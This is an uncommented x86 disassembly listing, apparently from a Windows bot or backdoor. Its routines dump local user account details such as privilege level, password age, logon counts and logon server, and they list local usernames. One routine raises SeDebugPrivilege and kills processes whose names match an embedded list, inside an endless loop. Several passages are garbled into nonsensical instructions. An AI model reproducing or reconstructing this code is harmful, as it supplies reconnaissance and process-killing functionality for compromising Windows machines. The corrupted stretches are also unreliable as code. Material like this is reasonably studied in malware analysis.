		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_4189B4
		dec	eax
		jz	short loc_4189AD
		dec	eax
		jz	short loc_4189A6
		mov	eax, offset aUnknown_0 ; "Unknown"
		jmp	short loc_4189B9
; ---------------------------------------------------------------------------


loc_4189A6:				; CODE XREF: sub_41889B+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_4189B9
; ---------------------------------------------------------------------------


loc_4189AD:				; CODE XREF: sub_41889B+FFj
		mov	eax, offset aUser_3 ; "User"
		jmp	short loc_4189B9
; ---------------------------------------------------------------------------


loc_4189B4:				; CODE XREF: sub_41889B+FCj
		mov	eax, offset aGuest ; "Guest"


loc_4189B9:				; CODE XREF: sub_41889B+109j
					; sub_41889B+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40145D
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_418C54
; ---------------------------------------------------------------------------


loc_418C28:				; CODE XREF: sub_41889B+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_44E548
		push	eax
		call	sub_41D260
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40145D
		add	esp, 20h


loc_418C54:				; CODE XREF: sub_41889B+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_418C63
		push	[ebp+var_4]
		call	ds:dword_451580


loc_418C63:				; CODE XREF: sub_41889B+40j
					; sub_41889B+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_41889B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C69	proc near		; CODE XREF: seg000:00404C41p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4185D0
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 18h


loc_418CA8:				; CODE XREF: sub_418C69+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_451454
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_418D09
		cmp	eax, 0EAh
		jz	short loc_418D09
		push	eax
		push	eax
		call	sub_418DE9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_44E5F4
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 24h
		jmp	short loc_418D84
; ---------------------------------------------------------------------------


loc_418D09:				; CODE XREF: sub_418C69+62j
					; sub_418C69+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_418D97
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_418D84


loc_418D1B:				; CODE XREF: sub_418C69+EDj
		cmp	edi, esi
		jz	short loc_418D5A
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_34	; "  %S"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_418D1B
		jmp	short loc_418D84
; ---------------------------------------------------------------------------


loc_418D5A:				; CODE XREF: sub_418C69+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_44E5A8
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 1Ch


loc_418D84:				; CODE XREF: sub_418C69+9Ej
					; sub_418C69+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_418D97
		push	edi
		call	ds:dword_451580
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_418D97:				; CODE XREF: sub_418C69+A5j
					; sub_418C69+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_418CA8
		cmp	edi, esi
		jz	short loc_418DAF
		push	edi
		call	ds:dword_451580


loc_418DAF:				; CODE XREF: sub_418C69+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C69	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DE9	proc near		; CODE XREF: sub_41843F+41p
					; sub_418634+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_418E9B
		jz	loc_418E94
		cmp	eax, 7Bh
		ja	short loc_418E60
		jz	short loc_418E56
		cmp	eax, 5
		jz	short loc_418E4C
		cmp	eax, 8
		jz	short loc_418E42
		cmp	eax, 32h
		jz	short loc_418E38
		cmp	eax, 35h
		jz	short loc_418E2E
		cmp	eax, 57h
		jnz	loc_418EEA
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_418F0B
; ---------------------------------------------------------------------------


loc_418E2E:				; CODE XREF: sub_418DE9+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_418F0B
; ---------------------------------------------------------------------------


loc_418E38:				; CODE XREF: sub_418DE9+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_418F0B
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418DE9+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_418F0B
; ---------------------------------------------------------------------------


loc_418E4C:				; CODE XREF: sub_418DE9+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_418F0B
; ---------------------------------------------------------------------------


loc_418E56:				; CODE XREF: sub_418DE9+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_418F0B
; ---------------------------------------------------------------------------


loc_418E60:				; CODE XREF: sub_418DE9+1Aj
		sub	eax, 7Ch
		jz	short loc_418E8D
		sub	eax, 7C8h
		jz	short loc_418E86
		dec	eax
		jz	short loc_418E7C
		dec	eax
		jnz	short loc_418EEA
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_418F0B
; ---------------------------------------------------------------------------


loc_418E7C:				; CODE XREF: sub_418DE9+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_418F0B
; ---------------------------------------------------------------------------


loc_418E86:				; CODE XREF: sub_418DE9+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418E8D:				; CODE XREF: sub_418DE9+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418E94:				; CODE XREF: sub_418DE9+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418E9B:				; CODE XREF: sub_418DE9+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_418ED4
		jz	short loc_418ECD
		sub	eax, 8ADh
		jz	short loc_418EFF
		dec	eax
		dec	eax
		jz	short loc_418EC6
		dec	eax
		jz	short loc_418EBF
		dec	eax
		dec	eax
		jnz	short loc_418EEA
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418EBF:				; CODE XREF: sub_418DE9+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418EC6:				; CODE XREF: sub_418DE9+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418ECD:				; CODE XREF: sub_418DE9+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418ED4:				; CODE XREF: sub_418DE9+B9j
		sub	eax, 8CAh
		jz	short loc_418F06
		sub	eax, 17h
		jz	short loc_418EFF
		sub	eax, 25h
		jz	short loc_418EF8
		sub	eax, 29h
		jz	short loc_418EF1


loc_418EEA:				; CODE XREF: sub_418DE9+35j
					; sub_418DE9+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418EF1:				; CODE XREF: sub_418DE9+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418EF8:				; CODE XREF: sub_418DE9+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418EFF:				; CODE XREF: sub_418DE9+C2j
					; sub_418DE9+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_418F0B
; ---------------------------------------------------------------------------


loc_418F06:				; CODE XREF: sub_418DE9+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_418F0B:				; CODE XREF: sub_418DE9+40j
					; sub_418DE9+4Aj ...
		push	offset dword_4EE13C
		call	sub_41D260
		pop	ecx
		mov	eax, offset dword_4EE13C
		pop	ecx
		retn
sub_418DE9	endp

; ---------------------------------------------------------------------------


loc_418F1D:				; CODE XREF: seg000:00404C86p
		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-718h]
		push	eax
		call	sub_41FEE0
		add	esp, 0Ch
		lea	eax, [ebp+8]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp-108h]
		push	eax
		mov	[ebp+8], esi
		call	near ptr 3D0000h
		enter	0FFFF858Dh, 0F8h
; ---------------------------------------------------------------------------
		dw 0FFFEh
; ---------------------------------------------------------------------------
		call	dword ptr [esi+50h]
		lea	eax, [ebp-318h]
		push	eax
		call	sub_41FEE0
		lea	eax, [ebp-718h]
		push	eax
		call	sub_4201B0
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp-718h]
		push	eax
		lea	eax, [ebp-318h]
		push	0
		push	eax
		push	0
		call	ds:dword_451504
		test	eax, eax
		jnz	short loc_418FAD
		mov	esi, offset dword_4EDF38
		push	offset unk_44E908
		push	esi
		call	sub_41D260
		pop	ecx
		pop	ecx
		jmp	short loc_418FD6
; ---------------------------------------------------------------------------


loc_418FAD:				; CODE XREF: seg000:00418F97j
		lea	ecx, [ebp-718h]
		push	ecx
		lea	ecx, [ebp-318h]
		push	ecx
		push	eax
		call	sub_418DE9
		pop	ecx
		mov	esi, offset dword_4EDF38
		push	eax
		push	offset dword_44E948
		push	esi
		call	sub_41D260
		add	esp, 14h


loc_418FD6:				; CODE XREF: seg000:00418FABj
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FDB	proc near		; CODE XREF: sub_417BA1+7p
					; sub_419046+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 3D0000h
		jge	short near ptr loc_41903B+3
		call	ds:dword_4514D8
		test	eax, eax
		jnz	short loc_418FFA
		leave
		retn
; ---------------------------------------------------------------------------


loc_418FFA:				; CODE XREF: sub_418FDB+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_4514B0
		test	eax, eax
		jz	short loc_419038
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419021
		or	[ebp+var_8], 2
		jmp	short loc_419025
; ---------------------------------------------------------------------------


loc_419021:				; CODE XREF: sub_418FDB+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419025:				; CODE XREF: sub_418FDB+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_45155C
		mov	esi, eax


loc_419038:				; CODE XREF: sub_418FDB+32j
		push	[ebp+var_4]


loc_41903B:				; CODE XREF: sub_418FDB+11j
		call	ds:dword_4F12FC	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418FDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419046	proc near		; CODE XREF: seg000:004070D1p
					; sub_419289+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_451514, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419259
		cmp	ds:dword_4514F8, ebx
		jz	loc_419259
		cmp	ds:dword_45140C, ebx
		jz	loc_419259
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_418FDB
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_451514
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_41924C
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	ds:dword_4514F8
		mov	esi, ds:dword_4F12FC
		test	eax, eax
		jz	loc_419247
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	ds:dword_45140C
		test	eax, eax
		jz	loc_419247
		mov	edi, ds:dword_4F1324
		mov	ebx, 1F0FFFh


loc_41910A:				; CODE XREF: sub_419046+1F9j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419171
		mov	[ebp+var_4], offset off_44E990


loc_419118:				; CODE XREF: sub_419046+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	ds:dword_4F13F8	; lstrcmpiA
		test	eax, eax
		jz	short loc_419140
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_44E9F0
		jl	short loc_419118
		jmp	loc_41922D
; ---------------------------------------------------------------------------


loc_419140:				; CODE XREF: sub_419046+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi ; dword_4F1324
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41922D
		push	0
		push	eax
		call	near ptr 3D0000h
		retn	0C085h
; ---------------------------------------------------------------------------
		jnz	loc_41922D


loc_419167:				; CODE XREF: sub_419046+1CDj
		push	[ebp+var_4]
		call	esi ; dword_4F12FC
		jmp	loc_41922D
; ---------------------------------------------------------------------------


loc_419171:				; CODE XREF: sub_419046+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419218
		cmp	[ebp+arg_4], eax
		jz	loc_41922D
		push	[ebp+var_128]
		push	8
		call	ds:dword_451514
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_4191D8
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	ds:dword_4513B8
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_4191CA
		lea	eax, [ebp+var_234]
		push	eax
		push	offset aSD_0	; " %s (%d)"
		jmp	short loc_4191EA
; ---------------------------------------------------------------------------


loc_4191CA:				; CODE XREF: sub_419046+174j
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_1	; " %s (%d)"
		jmp	short loc_4191EA
; ---------------------------------------------------------------------------


loc_4191D8:				; CODE XREF: sub_419046+15Cj
		push	[ebp+var_128]
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_2	; " %s (%d)"


loc_4191EA:				; CODE XREF: sub_419046+182j
					; sub_419046+190j
		lea	eax, [ebp+var_554]
		push	eax
		call	sub_41D260
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 14h
		jmp	loc_419167
; ---------------------------------------------------------------------------


loc_419218:				; CODE XREF: sub_419046+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419260


loc_41922D:				; CODE XREF: sub_419046+F5j
					; sub_419046+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_45140C
		test	eax, eax
		jnz	loc_41910A
		xor	ebx, ebx


loc_419247:				; CODE XREF: sub_419046+9Dj
					; sub_419046+B3j
		push	[ebp+var_8]
		call	esi ; dword_4F12FC


loc_41924C:				; CODE XREF: sub_419046+77j
		push	ebx
		push	offset aSedebugprivi_0 ; "SeDebugPrivilege"
		call	sub_418FDB
		pop	ecx
		pop	ecx


loc_419259:				; CODE XREF: sub_419046+3Aj
					; sub_419046+46j ...
		xor	eax, eax


loc_41925B:				; CODE XREF: sub_419046+241j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419260:				; CODE XREF: sub_419046+1E5j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi ; dword_4F1324
		push	[ebp+var_8]
		mov	edi, eax
		call	esi ; dword_4F12FC
		push	0
		push	edi
		call	near ptr 3D0000h
		push	ds
		test	eax, eax
		jnz	short loc_419284
		push	edi
		call	esi ; dword_4F12FC
		jmp	short loc_419259
; ---------------------------------------------------------------------------


loc_419284:				; CODE XREF: sub_419046+237j
		push	1
		pop	eax
		jmp	short loc_41925B
sub_419046	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419289	proc near		; DATA XREF: seg000:00407DCCo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_44EB88
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41D260
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_4192E8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40145D
		add	esp, 14h


loc_4192E8:				; CODE XREF: sub_419289+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419046
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419310
		push	offset dword_44EBCC
		jmp	short loc_419315
; ---------------------------------------------------------------------------


loc_419310:				; CODE XREF: sub_419289+7Ej
		push	offset dword_44EC18


loc_419315:				; CODE XREF: sub_419289+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41D260
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419348
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40145D
		add	esp, 14h


loc_419348:				; CODE XREF: sub_419289+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4161A7
		push	[ebp+var_14]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		and	ebx, [edi+5Eh]
sub_419289	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419367	proc near		; CODE XREF: seg000:00407073p
					; sub_408E7A+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 3D0000h
		std
		mov	esi, eax
		test	esi, esi
		jz	short loc_419399
		push	0
		push	esi
		call	near ptr 3D0000h
		sbb	[ebp+560975C0h], eax
		xor	edi, edi
		call	ds:dword_4F12FC	; CloseHandle


loc_419399:				; CODE XREF: sub_419367+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419367	endp

; ---------------------------------------------------------------------------
		push	esi
		xor	esi, esi


loc_4193A1:				; CODE XREF: seg000:004193BCj
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_419046
		add	esp, 18h
		push	ds:dword_44E98C
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_4193A1

; =============== S U B	R O U T	I N E =======================================



sub_4193BE	proc near		; CODE XREF: sub_4193EE+2Ap
					; seg000:004194A4p ...
		mov	eax, ds:dword_4EE7A4
		push	esi
		mov	esi, ds:dword_4F12FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4193D2
		push	eax
		call	esi ; dword_4F12FC


loc_4193D2:				; CODE XREF: sub_4193BE+Fj
		mov	eax, ds:dword_4EE7AC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4193DF
		push	eax
		call	esi ; dword_4F12FC


loc_4193DF:				; CODE XREF: sub_4193BE+1Cj
		mov	eax, ds:dword_4EE7A0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4193EC
		push	eax
		call	esi ; dword_4F12FC


loc_4193EC:				; CODE XREF: sub_4193BE+29j
		pop	esi
		retn
sub_4193BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193EE	proc near		; CODE XREF: seg000:00406FBEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AC70
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_4EE7A8
		call	near ptr 3D0000h
		sahf
		test	eax, eax
		jnz	short loc_419421
		call	sub_4193BE
		xor	eax, eax
		leave
		retn
